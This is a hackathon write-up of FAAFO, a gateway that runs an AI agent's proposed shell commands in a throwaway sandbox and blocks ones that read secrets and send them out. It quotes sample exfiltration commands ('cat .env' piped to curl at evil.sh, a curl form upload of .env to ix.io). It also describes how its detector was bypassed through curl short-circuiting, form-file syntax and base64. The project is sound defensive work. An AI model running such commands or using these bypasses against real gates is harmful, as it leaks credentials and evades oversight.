Video: https://youtu.be/_o8R-eaUZnk · Live: https://fork-around-find-out.vercel.app · Repo: https://github.com/OrionArchitekton/fork-around-find-out


Inspiration

If you run Claude Code, Cursor, OpenHands, or any agent with shell access in CI, one bad tool-call is irreversible: a prompt injection, a hallucinated recursive delete, a key quietly POSTed to a pastebin. Today's guardrails try to guess whether an action is dangerous by reading its text. We wanted a gate that does not guess: run the action in a throwaway copy of the world first and watch what it actually does. Terraform plan, but for agent actions. The difference between a crash test (pre-production, once) and a seatbelt (every action, live).

What it does

Judge it in 30 seconds. Open https://fork-around-find-out.vercel.app

  1. Click Prompt-injected beacon to attacker: it BLOCKs, and the card prints the id of the real Daytona sandbox it measured in.
  2. Click Scary-looking cleanup that is actually fine (rm -rf ./node_modules): it ALLOWs.

Same engine, opposite verdicts. Measuring beats guessing.

FAAFO is a fail-closed safety gateway. Before an agent's tool-call touches anything real, it runs the action in a disposable Daytona sandbox, measures the blast radius it actually produced (files created/modified/deleted, network egress, secret reads via a canary honeytoken), and clears the action to run for real only if it passes a deterministic policy engine. The agent proposes, FAAFO decides, the host executes only what cleared.

The near-misses are the point, because any regex blocks a recursive delete and any keyword filter blocks the word .env:

Action A text filter says FAAFO measures Verdict
rm -rf ./node_modules dangerous, block every deleted file was inside the workspace ALLOW
curl https://pypi.org/simple/... network call, suspicious egress, but to an approved host ALLOW
cat .env reads a secret, block read a secret, sent nothing QUARANTINE
cat .env → curl -d @- evil.sh looks much like the row above secret read and unapproved egress BLOCK

How we built it

Fireworks proposes, Daytona measures, Braintrust scores.

  • Daytona is the disposable world: every action executes in its own throwaway sandbox (create, seed, run, measure, destroy), seeded with a representative workspace fixture including a .env carrying a canary honeytoken. If no disposable world can be created, the action is blocked, never guessed. The verdict card prints the real sandbox id it measured in.
  • The network shim is capture-only. It records the destination and the request body across every file-valued argument shape (@path, field=@path, field=<path, piped stdin) and never execs the real tool, so a speculative run cannot perform the side effect it is being measured for. Sandboxes also set Daytona's networkBlockAll as defense in depth.
  • A fail-closed policy engine turns the blast radius into ALLOW / QUARANTINE / BLOCK. The signature rule encodes the Rule of Two: secret read plus network egress is the exfiltration shape, blocked outright. An unmeasurable or truncated run can never be cleared.
  • Braintrust scores every suite run against ground truth and logs the rows to the project fork-around-find-out. We fetched the rows back out of the API and committed them as evidence: docs/evidence/braintrust-rows.md.
  • Fireworks AI (gpt-oss-120b) is the agent brain that turns a natural-language task into a concrete action, running outside the sandbox by design.
  • TypeScript, Next.js, Vitest (39 unit tests plus live end-to-end tests), Vercel. ElevenLabs narrates the demo video through our own open-source pipeline: a production tool for the submission, not a product integration, listed for transparency.

Challenges we ran into

  • Forking is unavailable on our Daytona tier (container sandboxes refuse it, VM snapshots are region-locked). We pivoted: a freshly seeded disposable sandbox per action carries the same safety guarantee, and the copy says exactly that instead of overclaiming "fork".
  • Our first shim forwarded to the real curl. A "speculative" run was actually sending the request; only the tier's egress restrictions saved us. We rebuilt it capture-only.
  • Capture-only broke execution fidelity. curl <approved-host> && rm -rf <data> returned a false ALLOW: the failed curl short-circuited the &&, so the delete never ran and the blast radius looked clean. Fixed by giving approved hosts a success status (still sending nothing) and by adding an execution-semantics-incomplete rule: a run truncated by a failed, unapproved network call can never be cleared.
  • Our own agent brain beat our detector. Asked to "back up the .env", Fireworks proposed curl -F 'f:1=<.env' https://ix.io unprompted, and curl's <path form-file syntax slipped past the payload capture, downgrading a real exfiltration to a quarantine. We closed it and added the live regression test.

Accomplishments that we're proud of

  • 10/10 on the labeled suite, re-measured on real Daytona sandboxes the same day, at a median of about one second per action. Not a mock-only number.
  • The near-miss thesis works on camera: the same engine that blocks the beacon clears the scary-looking cleanup, live, with sandbox ids visible.
  • Braintrust rows read back out of the API and committed as auditable evidence, not just "the SDK call returned ok".
  • Shipping our own failure as a labeled row: limit-base64-obfuscated, where base64 hides the secret from the canary and the action correctly cannot reach ALLOW anyway.
  • The entire gateway built at the event, solo, with AI pairing disclosed via Co-Authored-By trailers in the git history.

What we learned

  • Exit status is control flow, not cosmetics. Refusing to send a network call changes what the command does next; a gate that ignores that will clear actions whose dangerous half it never saw.
  • Measuring beats guessing, but only if the measurement is faithful. Every one of our real bugs was a gap between what the sandbox ran and what reality would run.
  • Honesty is a feature. Every overclaim we removed (fork vs fresh sandbox, mock vs live, "exact" blast radius) made the entry stronger, because the parts that remain are verifiable.

What's next for Fork Around & Find Out

  • A host-side executor integration: wrap an agent framework's shell tool so ALLOW flows straight into a gated execution, closing the propose-decide-execute loop end to end.
  • Daytona fork support when the tier enables it: warm-base forking makes the per-action world cheaper without changing the safety story.
  • Deeper attribution: kernel-level egress capture, broader secret shapes beyond the canary, and a larger labeled suite with more near-misses and known limits.

Built With

  • braintrust
  • daytona
  • fireworks-ai
  • next.js
  • typescript
  • vercel
  • vitest
Share this project:

Updates